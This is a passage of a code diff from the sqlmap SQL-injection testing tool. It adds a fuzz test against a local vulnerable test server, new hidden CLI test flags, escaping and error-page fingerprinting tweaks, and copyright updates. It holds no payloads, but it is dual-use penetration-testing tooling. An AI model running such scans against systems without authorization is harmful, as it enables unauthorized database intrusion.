dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
clearConsoleLine()
|
||||||
|
if retVal:
|
||||||
|
logger.info("bed test final result: PASSED")
|
||||||
|
else:
|
||||||
|
logger.error("best test final result: FAILED")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def fuzzTest():
|
||||||
|
count = 0
|
||||||
|
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||||
|
|
||||||
|
def _thread():
|
||||||
|
vulnserver.init(quiet=True)
|
||||||
|
vulnserver.run(address=address, port=port)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_thread)
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.connect((address, port))
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
lines = content.split("\n")
|
||||||
|
|
||||||
|
for i in xrange(20):
|
||||||
|
j = random.randint(0, len(lines) - 1)
|
||||||
|
|
||||||
|
if any(_ in lines[j] for _ in ("googleDork",)):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if lines[j].strip().endswith('='):
|
||||||
|
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
|
||||||
|
|
||||||
|
k = random.randint(0, len(lines) - 1)
|
||||||
|
if '=' in lines[k]:
|
||||||
|
lines[k] += chr(random.randint(0, 255))
|
||||||
|
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
|
||||||
|
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if "Traceback" in output:
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
else:
|
||||||
|
dataToStdout("\r%d\r" % count)
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
def smokeTest():
|
def smokeTest():
|
||||||
"""
|
"""
|
||||||
Runs the basic smoke testing of a program
|
Runs the basic smoke testing of a program
|
||||||
"""
|
"""
|
||||||
|
|
||||||
dirtyPatchRandom()
|
unisonRandom()
|
||||||
|
|
||||||
|
content = open(paths.ERRORS_XML, "r").read()
|
||||||
|
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||||
|
try:
|
||||||
|
re.compile(regex)
|
||||||
|
except re.error:
|
||||||
|
errMsg = "smoke test failed at compiling '%s'" % regex
|
||||||
|
logger.error(errMsg)
|
||||||
|
return False
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
count, length = 0, 0
|
count, length = 0, 0
|
||||||
|
@ -194,7 +331,7 @@ def smokeTest():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
|
if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
|
||||||
path = os.path.join(root, os.path.splitext(filename)[0])
|
path = os.path.join(root, os.path.splitext(filename)[0])
|
||||||
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
|
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
|
||||||
path = path.replace(os.sep, '.').lstrip('.')
|
path = path.replace(os.sep, '.').lstrip('.')
|
||||||
|
@ -250,233 +387,3 @@ def smokeTest():
|
||||||
logger.error("smoke test final result: FAILED")
|
logger.error("smoke test final result: FAILED")
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def adjustValueType(tagName, value):
|
|
||||||
for family in optDict:
|
|
||||||
for name, type_ in optDict[family].items():
|
|
||||||
if type(type_) == tuple:
|
|
||||||
type_ = type_[0]
|
|
||||||
if tagName == name:
|
|
||||||
if type_ == "boolean":
|
|
||||||
value = (value == "True")
|
|
||||||
elif type_ == "integer":
|
|
||||||
value = int(value)
|
|
||||||
elif type_ == "float":
|
|
||||||
value = float(value)
|
|
||||||
break
|
|
||||||
return value
|
|
||||||
|
|
||||||
def liveTest():
|
|
||||||
"""
|
|
||||||
Runs the test of a program against the live testing environment
|
|
||||||
"""
|
|
||||||
|
|
||||||
retVal = True
|
|
||||||
count = 0
|
|
||||||
global_ = {}
|
|
||||||
vars_ = {}
|
|
||||||
|
|
||||||
livetests = readXmlFile(paths.LIVE_TESTS_XML)
|
|
||||||
length = len(livetests.getElementsByTagName("case"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("global")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("vars")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
var = child.getAttribute("value")
|
|
||||||
vars_[child.tagName] = randomStr(6) if var == "random" else var
|
|
||||||
|
|
||||||
for case in livetests.getElementsByTagName("case"):
|
|
||||||
parse_from_console_output = False
|
|
||||||
count += 1
|
|
||||||
name = None
|
|
||||||
parse = []
|
|
||||||
switches = dict(global_)
|
|
||||||
value = ""
|
|
||||||
vulnerable = True
|
|
||||||
result = None
|
|
||||||
|
|
||||||
if case.hasAttribute("name"):
|
|
||||||
name = case.getAttribute("name")
|
|
||||||
|
|
||||||
if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
|
|
||||||
continue
|
|
||||||
|
|
||||||
if case.getElementsByTagName("switches"):
|
|
||||||
for child in case.getElementsByTagName("switches")[0].childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
value = replaceVars(child.getAttribute("value"), vars_)
|
|
||||||
switches[child.tagName] = adjustValueType(child.tagName, value)
|
|
||||||
|
|
||||||
if case.getElementsByTagName("parse"):
|
|
||||||
for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
|
|
||||||
if item.hasAttribute("value"):
|
|
||||||
value = replaceVars(item.getAttribute("value"), vars_)
|
|
||||||
|
|
||||||
if item.hasAttribute("console_output"):
|
|
||||||
parse_from_console_output = bool(item.getAttribute("console_output"))
|
|
||||||
|
|
||||||
parse.append((value, parse_from_console_output))
|
|
||||||
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
msg = "running live test case: %s (%d/%d)" % (name, count, length)
|
|
||||||
logger.info(msg)
|
|
||||||
|
|
||||||
initCase(switches, count)
|
|
||||||
|
|
||||||
test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
|
|
||||||
test_case_fd.write("%s\n" % name)
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = runCase(parse)
|
|
||||||
except SqlmapNotVulnerableException:
|
|
||||||
vulnerable = False
|
|
||||||
finally:
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
if result is True:
|
|
||||||
logger.info("test passed")
|
|
||||||
cleanCase()
|
|
||||||
else:
|
|
||||||
errMsg = "test failed"
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
|
|
||||||
|
|
||||||
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
|
|
||||||
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
|
|
||||||
|
|
||||||
if not vulnerable:
|
|
||||||
errMsg += " - SQL injection not detected"
|
|
||||||
|
|
||||||
logger.error(errMsg)
|
|
||||||
test_case_fd.write("%s\n" % errMsg)
|
|
||||||
|
|
||||||
if _failures.failedParseOn:
|
|
||||||
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
|
|
||||||
console_output_fd.write(_failures.failedParseOn)
|
|
||||||
console_output_fd.close()
|
|
||||||
|
|
||||||
if _failures.failedTraceBack:
|
|
||||||
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
|
|
||||||
traceback_fd.write(_failures.failedTraceBack)
|
|
||||||
traceback_fd.close()
|
|
||||||
|
|
||||||
beep()
|
|
||||||
|
|
||||||
if conf.stopFail is True:
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
test_case_fd.close()
|
|
||||||
retVal &= bool(result)
|
|
||||||
|
|
||||||
dataToStdout("\n")
|
|
||||||
|
|
||||||
if retVal:
|
|
||||||
logger.info("live test final result: PASSED")
|
|
||||||
else:
|
|
||||||
logger.error("live test final result: FAILED")
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def initCase(switches, count):
|
|
||||||
_failures.failedItems = []
|
|
||||||
_failures.failedParseOn = None
|
|
||||||
_failures.failedTraceBack = None
|
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
|
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
|
||||||
|
|
||||||
logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
|
|
||||||
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
|
|
||||||
|
|
||||||
cmdLineOptions = cmdLineParser()
|
|
||||||
|
|
||||||
if switches:
|
|
||||||
for key, value in switches.items():
|
|
||||||
if key in cmdLineOptions.__dict__:
|
|
||||||
cmdLineOptions.__dict__[key] = value
|
|
||||||
|
|
||||||
initOptions(cmdLineOptions, True)
|
|
||||||
init()
|
|
||||||
|
|
||||||
def cleanCase():
|
|
||||||
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
|
||||||
|
|
||||||
def runCase(parse):
|
|
||||||
retVal = True
|
|
||||||
handled_exception = None
|
|
||||||
unhandled_exception = None
|
|
||||||
result = False
|
|
||||||
console = ""
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = start()
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
pass
|
|
||||||
except SqlmapBaseException as ex:
|
|
||||||
handled_exception = ex
|
|
||||||
except Exception as ex:
|
|
||||||
unhandled_exception = ex
|
|
||||||
finally:
|
|
||||||
sys.stdout.seek(0)
|
|
||||||
console = sys.stdout.read()
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
|
|
||||||
|
|
||||||
if unhandled_exception:
|
|
||||||
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif handled_exception:
|
|
||||||
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif result is False: # this means no SQL injection has been detected - if None, ignore
|
|
||||||
retVal = False
|
|
||||||
|
|
||||||
console = getUnicode(console, encoding=sys.stdin.encoding)
|
|
||||||
|
|
||||||
if parse and retVal:
|
|
||||||
with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
|
|
||||||
content = f.read()
|
|
||||||
|
|
||||||
for item, parse_from_console_output in parse:
|
|
||||||
parse_on = console if parse_from_console_output else content
|
|
||||||
|
|
||||||
if item.startswith("r'") and item.endswith("'"):
|
|
||||||
if not re.search(item[2:-1], parse_on, re.DOTALL):
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
elif item not in parse_on:
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
elif retVal is False:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def replaceVars(item, vars_):
|
|
||||||
retVal = item
|
|
||||||
|
|
||||||
if item and vars_:
|
|
||||||
for var in re.findall(r"\$\{([^}]+)\}", item):
|
|
||||||
if var in vars_:
|
|
||||||
retVal = retVal.replace("${%s}" % var, vars_[var])
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -21,10 +21,15 @@ class Unescaper(AttribDict):
|
||||||
identifiedDbms = Backend.getIdentifiedDbms()
|
identifiedDbms = Backend.getIdentifiedDbms()
|
||||||
|
|
||||||
if dbms is not None:
|
if dbms is not None:
|
||||||
return self[dbms](expression, quote=quote)
|
retVal = self[dbms](expression, quote=quote)
|
||||||
elif identifiedDbms is not None:
|
elif identifiedDbms is not None:
|
||||||
return self[identifiedDbms](expression, quote=quote)
|
retVal = self[identifiedDbms](expression, quote=quote)
|
||||||
else:
|
else:
|
||||||
return expression
|
retVal = expression
|
||||||
|
|
||||||
|
# e.g. inference comparison for '
|
||||||
|
retVal = retVal.replace("'''", "''''")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -136,6 +136,6 @@ def update():
|
||||||
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
||||||
else:
|
else:
|
||||||
infoMsg = "for Linux platform it's recommended "
|
infoMsg = "for Linux platform it's recommended "
|
||||||
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
|
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -78,10 +78,12 @@ from lib.core.defaults import defaults
|
||||||
from lib.core.dicts import DEPRECATED_OPTIONS
|
from lib.core.dicts import DEPRECATED_OPTIONS
|
||||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||||
from lib.core.exception import SqlmapShellQuitException
|
from lib.core.exception import SqlmapShellQuitException
|
||||||
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.option import _createHomeDirectories
|
from lib.core.option import _createHomeDirectories
|
||||||
from lib.core.settings import BASIC_HELP_ITEMS
|
from lib.core.settings import BASIC_HELP_ITEMS
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORED_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||||
|
@ -251,7 +253,7 @@ def cmdLineParser(argv=None):
|
||||||
help="Load safe HTTP request from a file")
|
help="Load safe HTTP request from a file")
|
||||||
|
|
||||||
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
||||||
help="Test requests between two visits to a given safe URL")
|
help="Regular requests between visits to a safe URL")
|
||||||
|
|
||||||
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
||||||
help="Skip URL encoding of payload data")
|
help="Skip URL encoding of payload data")
|
||||||
|
@ -780,22 +782,22 @@ def cmdLineParser(argv=None):
|
||||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--gui", dest="gui", action="store_true",
|
parser.add_argument("--gui", dest="gui", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--live-test", dest="liveTest", action="store_true",
|
|
||||||
help=SUPPRESS)
|
|
||||||
|
|
||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
|
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--run-case", dest="runCase",
|
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
# API options
|
# API options
|
||||||
|
@ -863,10 +865,10 @@ def cmdLineParser(argv=None):
|
||||||
|
|
||||||
if "--gui" in argv:
|
if "--gui" in argv:
|
||||||
from lib.core.gui import runGui
|
from lib.core.gui import runGui
|
||||||
|
|
||||||
runGui(parser)
|
runGui(parser)
|
||||||
|
|
||||||
if hasattr(parser, "_args"):
|
raise SqlmapSilentQuitException
|
||||||
return parser._args
|
|
||||||
|
|
||||||
elif "--sqlmap-shell" in argv:
|
elif "--sqlmap-shell" in argv:
|
||||||
_createHomeDirectories()
|
_createHomeDirectories()
|
||||||
|
@ -930,6 +932,8 @@ def cmdLineParser(argv=None):
|
||||||
elif re.search(r"\A-\w{3,}", argv[i]):
|
elif re.search(r"\A-\w{3,}", argv[i]):
|
||||||
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
||||||
argv[i] = "-%s" % argv[i]
|
argv[i] = "-%s" % argv[i]
|
||||||
|
elif argv[i] in IGNORED_OPTIONS:
|
||||||
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif argv[i].startswith("--tamper"):
|
||||||
|
@ -941,6 +945,8 @@ def cmdLineParser(argv=None):
|
||||||
elif argv[i] == "-H":
|
elif argv[i] == "-H":
|
||||||
if i + 1 < len(argv):
|
if i + 1 < len(argv):
|
||||||
extraHeaders.append(argv[i + 1])
|
extraHeaders.append(argv[i + 1])
|
||||||
|
elif argv[i] == "--deps":
|
||||||
|
argv[i] = "--dependencies"
|
||||||
elif argv[i] == "-r":
|
elif argv[i] == "-r":
|
||||||
for j in xrange(i + 2, len(argv)):
|
for j in xrange(i + 2, len(argv)):
|
||||||
value = argv[j]
|
value = argv[j]
|
||||||
|
@ -1002,7 +1008,7 @@ def cmdLineParser(argv=None):
|
||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
|
||||||
|
|
||||||
self._dbms = None
|
self._dbms = None
|
||||||
self._page = (page or "")
|
self._page = (page or "")
|
||||||
self._lower_page = self._page.lower()
|
try:
|
||||||
|
self._lower_page = self._page.lower()
|
||||||
|
except SystemError: # https://bugs.python.org/issue18183
|
||||||
|
self._lower_page = None
|
||||||
self._urldecoded_page = urldecode(self._page)
|
self._urldecoded_page = urldecode(self._page)
|
||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
|
@ -49,20 +52,31 @@ class HTMLHandler(ContentHandler):
|
||||||
keywords = sorted(keywords, key=len)
|
keywords = sorted(keywords, key=len)
|
||||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||||
|
|
||||||
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
|
if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
|
||||||
self.dbms = self._dbms
|
self.dbms = self._dbms
|
||||||
self._markAsErrorPage()
|
self._markAsErrorPage()
|
||||||
|
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
fingerprint the back-end database management system
|
fingerprint the back-end database management system
|
||||||
|
|
||||||
|
>>> from lib.core.enums import DBMS
|
||||||
|
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
|
||||||
|
True
|
||||||
|
>>> threadData = getCurrentThreadData()
|
||||||
|
>>> threadData.lastErrorPage = None
|
||||||
"""
|
"""
|
||||||
|
|
||||||
xmlfile = paths.ERRORS_XML
|
xmlfile = paths.ERRORS_XML
|
||||||
handler = HTMLHandler(page)
|
handler = HTMLHandler(page)
|
||||||
key = hash(page)
|
key = hash(page)
|
||||||
|
|
||||||
|
# generic SQL warning/error messages
|
||||||
|
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||||
|
handler._markAsErrorPage()
|
||||||
|
|
||||||
if key in kb.cache.parsedDbms:
|
if key in kb.cache.parsedDbms:
|
||||||
retVal = kb.cache.parsedDbms[key]
|
retVal = kb.cache.parsedDbms[key]
|
||||||
if retVal:
|
if retVal:
|
||||||
|
@ -79,8 +93,4 @@ def htmlParser(page):
|
||||||
|
|
||||||
kb.cache.parsedDbms[key] = handler.dbms
|
kb.cache.parsedDbms[key] = handler.dbms
|
||||||
|
|
||||||
# generic SQL warning/error messages
|
|
||||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
|
||||||
handler._markAsErrorPage()
|
|
||||||
|
|
||||||
return handler.dbms
|
return handler.dbms
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
